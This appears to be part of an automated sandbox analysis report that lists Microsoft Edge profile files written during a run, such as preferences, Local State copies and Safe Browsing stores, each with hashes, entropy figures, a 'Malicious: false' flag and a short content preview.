Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375888525110821","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\uu_host_config

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	398313
Entropy (8bit):	4.953803318132309
Encrypted:	false
SSDEEP:	1536:veqeoyyQJztYNr3CZsTKsvbbOPlMa0JJoG3JfeX5B7FxRG0MZ/d18bfpyvFaRnxY:q7JVZb0JOGiMldObbFG/eFd2X134a
MD5:	4529A95302CDD7EF2BB39E087A5E8DF6
SHA1:	6449A1AAEF5A5BBF798FF0FFF1BB51F5150FD578
SHA-256:	A41F5D82CF139CB1C29E91EE45A873B98879971E5E5552CC3B903EB8FE1CF658
SHA-512:	B314C5434D903E0472C7A1E02E958DE7DC68C7FE44CAC3486B98C48BB057E6263EC6EF00A1CCC186FC6CD3240EC2D62C73D091975B669ACE7D978AB65A670318
Malicious:	false
Preview:	{. "0123movies.com": "{\"Tier1\": [983, 6061], \"Tier2\": [4948, 1106, 9972]}",. "1020398.app.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [228, 236]}",. "1337x.to": "{\"Tier1\": [6061, 983], \"Tier2\": [6657, 475, 4068]}",. "2cvresearch.decipherinc.com": "{\"Tier1\": [8405], \"Tier2\": [379, 6101]}",. "3817341.extforms.netsuite.com": "{\"Tier1\": [6061, 8405, 5938], \"Tier2\": [7746]}",. "3cx.integrafin.co.uk": "{\"Tier1\": [8405, 6061], \"Tier2\": [2863, 5391]}",. "4540582.extforms.netsuite.com": "{\"Tier1\": [8405], \"Tier2\": [228, 236, 7746]}",. "7589.directpaper.name": "{\"Tier1\": [8405], \"Tier2\": []}",. "7a201srvitportl.cymru.nhs.uk": "{\"Tier1\": [], \"Tier2\": [9870]}",. "7a3cjsvmifitla1.cymru.nhs.uk": "{\"Tier1\": [6061], \"Tier2\": [1092]}",. "7a3cjsvmlivwebb.cymru.nhs.uk": "{\"Tier1\": [148, 6061], \"Tier2\": [9870, 9813]}",. "8ballpool.com": "{\"Tier1\": [8741, 3907, 983], \"Tier2\": [9151, 5779, 6916]}",. "9anime.gs"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38be5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38bf5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38dab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b46c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF40309.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF49e4f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4fc6d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089825896996533
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWedi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynm5kzItSmd6qE7lFoC
MD5:	4339348F17E66ACDF83F426A95AB9D5F
SHA1:	6D6D643EF40E553308F5F6D834CA9A59C89714D6
SHA-256:	DCAB0F5868528693A2CD228FC7D203A97AB54342E38056657370E21997DDC16C
SHA-512:	95AE156F734DA3B45AE485AB4EF52E6A1B740D37972EC4FDCC663A68EC11F78224D75112C042C8B88815E8BB50B0BD7F763C06994656653217F38B64D58D2B60
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036113
Entropy (8bit):	4.001527795391341
Encrypted:	false
SSDEEP:	49152:pPoyBNEMRzlPjTPDqhh+hiKK4JxA8QdLRSKk4o7DBZOb0JUpayy3JUIhwUKb0aH4:v
MD5:	DAEB5C768EBA3E7F3266D4F27D23F2F9
SHA1:	2A7D8CEB1EAF96A42C0D5332BC936FB3705ECC9B
SHA-256:	3201FB12967A0E5CC385C325FD6B02216C0189BE147B2AA0DB2CE2EAE151CE1D
SHA-512:	F458FF58B0EEA9BF97C2973526C00756279E12B4FA8E8D4A9C23BD2B252DD5ECF9D2E49D9629A6B625F899EB0E89A3DBCFC92B64108432D738A94B1EC734B987
Malicious:	false
Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaaaajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store_new

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2036113
Entropy (8bit):	4.001527795391341
Encrypted:	false
SSDEEP:	49152:pPoyBNEMRzlPjTPDqhh+hiKK4JxA8QdLRSKk4o7DBZOb0JUpayy3JUIhwUKb0aH4:v
MD5:	DAEB5C768EBA3E7F3266D4F27D23F2F9
SHA1:	2A7D8CEB1EAF96A42C0D5332BC936FB3705ECC9B
SHA-256:	3201FB12967A0E5CC385C325FD6B02216C0189BE147B2AA0DB2CE2EAE151CE1D
SHA-512:	F458FF58B0EEA9BF97C2973526C00756279E12B4FA8E8D4A9C23BD2B252DD5ECF9D2E49D9629A6B625F899EB0E89A3DBCFC92B64108432D738A94B1EC734B987
Malicious:	false
Preview:	.........\| .*.\|....\|. ...\|aaaaagfgdnjcdkncmfkfinnjaiapdblgaaaaaogokkamlflcoccdihncmbgcmflnaaaaaoipnhppjgickhnmdbgfbicakiamaaaaapdcjfaomkafnbpoclmfakjianjdaaaaapiecopgelmleoolpjapkgpglkcbaaaabcdhikdcpainmmjceakmkacogdkoaaaabdgnnajpalbdkkdnknbbbmndbilaaaaabfkbnfjnjldicllofdmjchdancccaaaabgphkbebbdbcibgbppdidkelfoigaaaabibhgjnbdelbcijfciclijhdkgohaaaabmldebjdieoplgdecloipkabiibcaaaaboojhahjgdjeknnemneiajjhhddiaaaabpccljmmhilhhndnjkobdedbpkjpaaaacmnkhlfjgehagffhnhdjfankefglaaaacnnimempmlomnnhdkimkfahjplfpaaaadbhonifkcheeddllhmpapnhcpgiaaaaadbkccgigjdmfmdhgikcckicldhjbaaaadbolalgmogecpogmlebfkpigmpdjaaaaehbfjkafkfgppkjageehakfakfbmaaaaehbppmedegafehiimempeifadcinaaaageoepbmnopkkfeadndbijdghellgaaaagfdmgcibcnlmgiipapnfocaocfneaaaagjojmcedjoignaljgmnihajfhhlpaaaaglldojfgdeaijnfefaggkfjekomeaaaaiihjniipljfegaknmbkneamnoajdaaaainjigbjlofcjekbnjnpiegecbnbaaaaaiognmpgbjoffachmpnnppfnokcbeaa